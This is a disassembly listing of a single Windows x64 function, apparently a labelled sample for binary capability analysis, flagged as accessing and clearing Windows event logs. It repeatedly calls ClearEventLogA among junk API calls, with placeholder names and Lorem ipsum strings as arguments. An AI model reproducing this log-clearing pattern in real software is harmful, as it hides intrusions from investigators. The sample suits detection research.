Function at 0x6bad2e07
Capabilities:
Access the windows event log
Clear windows event logs
Set current directory

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rax, qword [0x6bb85d20]
cmp dword [rax], 0x2159
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xa8], rdx
mov dword [rsp + 0xb0], r8d
mov dword [rsp + 0xb8], r9d
jne 0x6bad3626
mov r11, qword [0x6bb85be0]
mov rax, qword [0x6bb85f40]
xor ecx, ecx
mov rbx, qword [sym.imp.KERNEL32.dll_GetFileType]
mov edx, dword [r11]
mov dword [rax], edx
call rbx
mov r10, qword [0x6bb85c10]
mov rax, qword [0x6bb85530]
xor ecx, ecx
mov rsi, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov edx, dword [r10]
mov dword [rax], edx
mov rax, qword [0x6bb854d0]
mov edx, dword [rax]
mov rax, qword [0x6bb853e0]
mov dword [rax], edx
lea rdx, str.MarilouHammes
call rsi
mov rdi, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.CamrenMannDDS
lea rcx, str.ProfHendersonKerlukeV
mov qword [rsp + 0x40], rax
call rax
xor ecx, ecx
lea rdx, str.Qui_aperiam_ullam_repellat_fugiat_officiis_ut_necessitatibus_rerum_magni_omnis
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_ReadConsoleW]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x48], rax
call rax
mov ecx, 0xdfc9c5d1
call fcn.6bad7ff0
mov rdx, qword [0x6bb85770]
mov ecx, 0x2632fa0
mov r13, qword [0x6bb85520]
mov dword [rdx], eax
mov rax, qword [0x6bb855a0]
mov rdx, qword [0x6bb85720]
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [r13]
mov rdx, qword [0x6bb85af0]
mov dword [rdx], eax
call fcn.6bad7ff0
mov rdx, qword [0x6bb85c80]
mov r12, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
mov rax, qword [0x6bb85c80]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85680]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rax, qword [0x6bb85c80]
mov rbp, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.DrFaustoJaskolskiIV
mov dword [rax], 0x6110b59e
mov rax, qword [0x6bb85f80]
mov dword [rax], 0x2e667273
call rbp
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.HershelWintheiser
mov qword [rsp + 0x38], rax
call rax
lea rdx, str.KattieCarroll
xor ecx, ecx
call rsi
xor ecx, ecx
call rbx
lea r8, str.OttisStrosin
xor edx, edx
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_OpenEventA]
call r14
mov rax, qword [0x6bb85ee0]
mov rdx, qword [0x6bb85870]
lea rcx, str.Dignissimos_doloribus_eum_quo_quam
mov eax, dword [rax]
mov dword [rdx], eax
lea rdx, str.NicoleCummings
mov rax, qword [rsp + 0x40]
call rax
xor ecx, ecx
lea rdx, str.Est_et_iusto_sit_sunt_voluptatem_culpa_ut
call rsi
mov rax, qword [0x6bb85d60]
mov rdx, qword [0x6bb85c30]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x6bb854a0]
mov dword [rax], 0x5a23d113
call rbx
lea rcx, str.Praesentium_libero_dolore_incidunt_voluptatem_voluptatem_quod
call rbp
mov rax, qword [0x6bb85850]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85b40]
mov ecx, 0xb71108be
mov dword [rdx], eax
call fcn.6bad7ff0
mov rcx, qword [0x6bb856a0]
mov dword [rcx], eax
xor ecx, ecx
call rbx
xor ecx, ecx
lea rdx, str.Numquam_quisquam_molestiae_laudantium_possimus_illum
call rsi
xor edx, edx
xor ecx, ecx
call rdi
mov r15, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r15
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, str.DrWyattStarkV
mov rax, qword [rsp + 0x38]
call rax
mov rax, qword [0x6bb85890]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85c40]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb85360]
mov edx, dword [rax]
mov rax, qword [0x6bb855b0]
mov dword [rax], edx
xor edx, edx
call rdi
xor ecx, ecx
call r15
mov rax, qword [0x6bb85340]
mov ecx, dword [rax]
call fcn.6bad7ff0
xor edx, edx
xor ecx, ecx
mov dword [r13], eax
call rdi
xor edx, edx
xor ecx, ecx
call r12
mov ecx, 0xa3b15dd0
call fcn.6bad7ff0
mov rdx, qword [0x6bb85ce0]
mov r13, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov dword [rdx], eax
call r13
mov rax, qword [str.:y_2]
mov r9, qword [0x6bb85cd0]
xor ecx, ecx
lea r8, str.EmersonDickinsonDVM
mov edx, dword [r9]
mov dword [rax], 0x9165950a
mov rax, qword [0x6bb85d10]
mov dword [rax], edx
xor edx, edx
call r14
mov rax, qword [0x6bb85af0]
mov r9, qword [0x6bb85cd0]
mov ecx, 0x9098c652
mov eax, dword [rax]
mov dword [r9], eax
call fcn.6bad7ff0
mov rdx, qword [0x6bb85bc0]
mov dword [rdx], eax
mov rax, qword [0x6bb85ba0]
mov edx, dword [rax]
mov rax, qword [0x6bb86000]
mov dword [rax], edx
mov rax, qword [0x6bb85e10]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85cc0]
mov rcx, qword [0x6bb85c70]
mov dword [rdx], eax
mov rax, qword [0x6bb853d0]
mov edx, dword [rax]
mov rax, qword [0x6bb85e00]
mov dword [rax], edx
mov rax, qword [0x6bb86050]
xor edx, edx
mov dword [rax], 0x4c25d3c3
mov rax, qword [0x6bb853a0]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rdi
xor edx, edx
xor ecx, ecx
call r12
lea rcx, str.BentonKohler
call rbp
mov rax, qword [0x6bb85ab0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb85500]
mov dword [rax], edx
lea rdx, str.CortneyGibson
call rsi
lea r8, str.MissAlexaBernhardV
xor edx, edx
xor ecx, ecx
call r14
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
call rbx
mov rax, qword [0x6bb85ae0]
mov rdx, qword [0x6bb85870]
mov rcx, qword [0x6bb854e0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x6bb85850]
mov edx, dword [rax]
mov rax, qword [0x6bb857c0]
mov dword [rax], edx
mov rax, qword [0x6bb85c50]
lea rdx, str.Aliquid_harum_magnam_labore_molestias_ab_maiores_et_est_repellendus_asperiores_et
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rsi
xor ecx, ecx
call rbx
lea rdx, str.Ex_mollitia_minima
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call r12
lea rcx, str.Doloremque_nam_praesentium_tempora
mov rax, qword [rsp + 0x38]
call rax
mov rax, qword [0x6bb85bb0]
xor ecx, ecx
mov dword [rax], 0xa73b88cb
mov rax, qword [0x6bb85370]
mov edx, dword [rax]
mov rax, qword [0x6bb85970]
mov dword [rax], edx
mov rax, qword [0x6bb85dc0]
mov rdx, qword [0x6bb85e60]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x6bb85750]
mov dword [rax], 0x8d81762b
call r13
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
lea r8, str.EbbaJohnson
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [0x6bb856a0]
mov dword [rax], 0x3a55cd05
mov rax, qword [0x6bb85720]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb854c0]
xor ecx, ecx
mov dword [rdx], eax
call r13
mov rax, qword [0x6bb85470]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb855f0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb854e0]
mov dword [rax], 0x10671240
mov rax, qword [0x6bb855e0]
mov edx, dword [rax]
mov rax, qword [0x6bb85330]
mov dword [rax], edx
mov rax, qword [0x6bb856a0]
xor edx, edx
mov dword [rax], 0x8cbf4415
call r12
xor ecx, ecx
lea rdx, str.Voluptatum_mollitia_dolorum_qui_et_temporibus_harum
call rsi
mov rax, qword [0x6bb85980]
mov ecx, 0xa920f115
mov edx, dword [rax]
mov rax, qword [0x6bb85700]
mov dword [rax], edx
call fcn.6bad7ff0
mov rdx, qword [0x6bb85fa0]
mov rcx, qword [0x6bb85c30]
mov dword [rdx], eax
mov rax, qword [0x6bb85e30]
lea rdx, str.JessikaDenesikV
mov eax, dword [rax]
mov dword [rcx], eax
lea rcx, str.MaciHoppe
mov rax, qword [rsp + 0x40]
call rax
lea rcx, str.AbrahamKrajcik
mov rax, qword [rsp + 0x38]
call rax
xor ecx, ecx
call r15
mov rax, qword [0x6bb85910]
mov dword [rax], 0xc0fabb11
mov rax, qword [0x6bb85e10]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb853f0]
lea rcx, str.Nam_quas_voluptatem_molestias
mov dword [rdx], eax
call rbp
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x6bb85560]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85870]
lea rcx, str.RoslynRodriguezIII
mov dword [rdx], eax
call rbp
xor ecx, ecx
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
lea rcx, str.BradlyParisian
call rbp
xor ecx, ecx
call r13
xor ecx, ecx
call rbx
mov ecx, 0x7c3d6041
call fcn.6bad7ff0
mov rcx, qword [0x6bb85af0]
mov r12, qword [0x6bb853b0]
mov dword [rcx], eax
mov rax, qword [0x6bb85690]
mov ecx, dword [r12]
mov dword [rax], 0xb511dee3
mov rax, qword [0x6bb85ff0]
mov dword [rax], ecx
mov rax, qword [0x6bb85e50]
xor ecx, ecx
mov dword [rax], 0xe5c75ba0
call r13
mov rax, qword [0x6bb85e10]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85570]
mov r11, qword [0x6bb85be0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x6bb85670]
mov dword [rax], 0x752f2af0
mov rax, qword [0x6bb85c70]
mov dword [rax], 0xa04ad10a
mov eax, dword [r11]
mov dword [r12], eax
mov rax, qword [0x6bb85e60]
mov dword [rax], 0xb235a26c
mov rax, qword [0x6bb856c0]
mov dword [rax], 0xcf4586a3
call rbx
mov rax, qword [0x6bb85620]
xor edx, edx
lea r8, str.MsLaylaQuitzonPhD
xor ecx, ecx
mov dword [rax], 0x702da323
call r14
xor edx, edx
xor ecx, ecx
call rdi
mov ecx, 0xa13cb964
call fcn.6bad7ff0
mov rdx, qword [0x6bb85440]
lea rcx, str.ProfEltaBaileyV
mov dword [rdx], eax
mov rax, qword [rsp + 0x38]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
lea rcx, str.KolbyReinger
call rbp
mov rax, qword [0x6bb85b10]
mov dword [rax], 0x17006541
mov rax, qword [0x6bb85c80]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rdx, qword [0x6bb85a60]
xor ecx, ecx
mov dword [rdx], eax
call r15
xor ecx, ecx
call rbx
lea rdx, str.Temporibus_similique_quia_delectus_sed_non_voluptatem
lea rcx, str.Cumque_natus_dolor
mov rax, qword [rsp + 0x40]
call rax
xor ecx, ecx
call rbx
lea r8, str.Quo_adipisci_quod_ut_numquam_laboriosam_ad
xor edx, edx
xor ecx, ecx
call r14
mov rbx, qword [0x6bb85d40]
mov rdx, qword [0x6bb85cc0]
mov eax, dword [rbx]
mov dword [rdx], eax
mov rax, qword [0x6bb85940]
mov ecx, dword [rax]
call fcn.6bad7ff0
mov rcx, qword [0x6bb85c80]
mov dword [rcx], eax
xor ecx, ecx
call r13
xor ecx, ecx
lea rdx, str.VerlaWalsh
call rsi
mov rax, qword [0x6bb85560]
lea rcx, str.Optio_est_dolorem_non_quisquam_molestias_repellat_et_neque_optio_vel_nobis
mov edx, dword [rax]
mov rax, qword [0x6bb858c0]
mov dword [rax], edx
mov rax, qword [0x6bb86030]
mov dword [rax], 0x7d3e78fd
mov rax, qword [0x6bb86020]
mov dword [rax], 0xa9a1b9c4
call rbp
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x6bb85960]
mov r10, qword [0x6bb85c10]
mov dword [rbx], 0xf83e2e61
mov eax, dword [rax]
mov dword [r10], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, dword [rsp + 0xb0]
mov r8, qword [rsp + 0xa8]
mov rcx, rax
mov eax, dword [rsp + 0xb8]
mov rdx, qword [rsp + 0xa0]
mov dword [rsp + 0x20], eax
call fcn.6bad2577
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret